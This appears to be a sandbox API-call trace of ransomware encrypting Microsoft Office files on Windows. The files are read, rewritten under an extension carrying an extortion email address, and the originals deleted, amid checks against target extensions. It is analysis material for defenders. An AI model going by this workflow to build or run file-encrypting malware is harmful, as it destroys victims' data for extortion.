	[0263.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.055] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0263.055] CloseHandle (hObject=0x33c) returned 1
	[0263.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 0x20
	[0263.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.056] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.056] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.056] GetLastError () returned 0x0
	[0263.056] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.057] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.058] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.058] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.058] SetEndOfFile (hFile=0x358) returned 1
	[0263.058] CloseHandle (hObject=0x358) returned 1
	[0263.058] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.058] SetEndOfFile (hFile=0x33c) returned 1
	[0263.062] CloseHandle (hObject=0x33c) returned 1
	[0263.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk")) returned 1
	[0263.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.062] lstrlenW (lpString=".doc") returned 4
	[0263.062] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.062] lstrlenW (lpString=".docx") returned 5
	[0263.062] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.062] lstrlenW (lpString=".pdf") returned 4
	[0263.062] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.062] lstrlenW (lpString=".xls") returned 4
	[0263.063] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString=".xlsx") returned 5
	[0263.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.063] lstrlenW (lpString=".ppt") returned 4
	[0263.063] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString=".zip") returned 4
	[0263.063] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString=".rar") returned 4
	[0263.063] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString=".bz2") returned 4
	[0263.063] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.063] lstrlenW (lpString=".7z") returned 3
	[0263.063] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString=".dbf") returned 4
	[0263.063] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString=".1cd") returned 4
	[0263.063] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString=".jpg") returned 4
	[0263.063] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.063] lstrlenW (lpString=".doc") returned 4
	[0263.063] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.063] lstrlenW (lpString=".docx") returned 5
	[0263.063] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.063] lstrlenW (lpString=".pdf") returned 4
	[0263.063] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.063] lstrlenW (lpString=".xls") returned 4
	[0263.064] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.064] lstrlenW (lpString=".xlsx") returned 5
	[0263.064] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.064] lstrlenW (lpString=".ppt") returned 4
	[0263.064] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.064] lstrlenW (lpString=".zip") returned 4
	[0263.064] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.064] lstrlenW (lpString=".rar") returned 4
	[0263.064] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.064] lstrlenW (lpString=".bz2") returned 4
	[0263.064] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.064] lstrlenW (lpString=".7z") returned 3
	[0263.064] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.064] lstrlenW (lpString=".dbf") returned 4
	[0263.064] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.064] lstrlenW (lpString=".1cd") returned 4
	[0263.064] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63
	[0263.064] lstrlenW (lpString=".jpg") returned 4
	[0263.064] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.064] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.064] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15
	[0263.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.065] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0263.065] CloseHandle (hObject=0x33c) returned 1
	[0263.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 0x20
	[0263.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.065] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.065] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.065] GetLastError () returned 0x0
	[0263.065] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.066] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.067] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.067] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.067] SetEndOfFile (hFile=0x358) returned 1
	[0263.067] CloseHandle (hObject=0x358) returned 1
	[0263.067] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.067] SetEndOfFile (hFile=0x33c) returned 1
	[0263.154] CloseHandle (hObject=0x33c) returned 1
	[0263.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 1
	[0263.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.159] lstrlenW (lpString=".doc") returned 4
	[0263.159] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.159] lstrlenW (lpString=".docx") returned 5
	[0263.159] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.159] lstrlenW (lpString=".pdf") returned 4
	[0263.159] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.159] lstrlenW (lpString=".xls") returned 4
	[0263.159] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.159] lstrlenW (lpString=".xlsx") returned 5
	[0263.159] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.159] lstrlenW (lpString=".ppt") returned 4
	[0263.159] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.159] lstrlenW (lpString=".zip") returned 4
	[0263.160] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString=".rar") returned 4
	[0263.160] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString=".bz2") returned 4
	[0263.160] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.160] lstrlenW (lpString=".7z") returned 3
	[0263.160] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString=".dbf") returned 4
	[0263.160] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString=".1cd") returned 4
	[0263.160] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString=".jpg") returned 4
	[0263.160] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString=".doc") returned 4
	[0263.160] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.160] lstrlenW (lpString=".docx") returned 5
	[0263.160] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.160] lstrlenW (lpString=".pdf") returned 4
	[0263.160] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString=".xls") returned 4
	[0263.160] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString=".xlsx") returned 5
	[0263.160] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.160] lstrlenW (lpString=".ppt") returned 4
	[0263.160] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.160] lstrlenW (lpString=".zip") returned 4
	[0263.161] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.161] lstrlenW (lpString=".rar") returned 4
	[0263.161] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.161] lstrlenW (lpString=".bz2") returned 4
	[0263.161] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.161] lstrlenW (lpString=".7z") returned 3
	[0263.161] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.161] lstrlenW (lpString=".dbf") returned 4
	[0263.161] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.161] lstrlenW (lpString=".1cd") returned 4
	[0263.161] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63
	[0263.161] lstrlenW (lpString=".jpg") returned 4
	[0263.161] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.161] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0263.161] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13
	[0263.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.161] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=4750792) returned 1
	[0263.161] CloseHandle (hObject=0x354) returned 1
	[0263.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0x20
	[0263.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.162] lstrlenW (lpString=".doc") returned 4
	[0263.162] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.162] lstrlenW (lpString=".docx") returned 5
	[0263.162] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0263.162] lstrlenW (lpString=".pdf") returned 4
	[0263.162] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.162] lstrlenW (lpString=".xls") returned 4
	[0263.162] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.162] lstrlenW (lpString=".xlsx") returned 5
	[0263.162] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0263.162] lstrlenW (lpString=".ppt") returned 4
	[0263.162] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.162] lstrlenW (lpString=".zip") returned 4
	[0263.162] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.162] lstrlenW (lpString=".rar") returned 4
	[0263.162] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.162] lstrlenW (lpString=".bz2") returned 4
	[0263.162] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.162] lstrlenW (lpString=".7z") returned 3
	[0263.162] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString=".dbf") returned 4
	[0263.163] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString=".1cd") returned 4
	[0263.163] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString=".jpg") returned 4
	[0263.163] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString=".doc") returned 4
	[0263.163] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.163] lstrlenW (lpString=".docx") returned 5
	[0263.163] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0263.163] lstrlenW (lpString=".pdf") returned 4
	[0263.163] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString=".xls") returned 4
	[0263.163] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString=".xlsx") returned 5
	[0263.163] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0263.163] lstrlenW (lpString=".ppt") returned 4
	[0263.163] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.163] lstrlenW (lpString=".zip") returned 4
	[0263.163] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString=".rar") returned 4
	[0263.163] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.163] lstrlenW (lpString=".bz2") returned 4
	[0263.163] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.163] lstrlenW (lpString=".7z") returned 3
	[0263.163] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.164] lstrlenW (lpString=".dbf") returned 4
	[0263.164] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.164] lstrlenW (lpString=".1cd") returned 4
	[0263.164] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61
	[0263.164] lstrlenW (lpString=".jpg") returned 4
	[0263.164] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.164] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0263.164] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17
	[0263.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.164] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=641) returned 1
	[0263.164] CloseHandle (hObject=0x354) returned 1
	[0263.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 0x20
	[0263.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.165] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.165] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.165] GetLastError () returned 0x0
	[0263.165] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x281, lpOverlapped=0x0) returned 1
	[0263.167] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0263.167] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
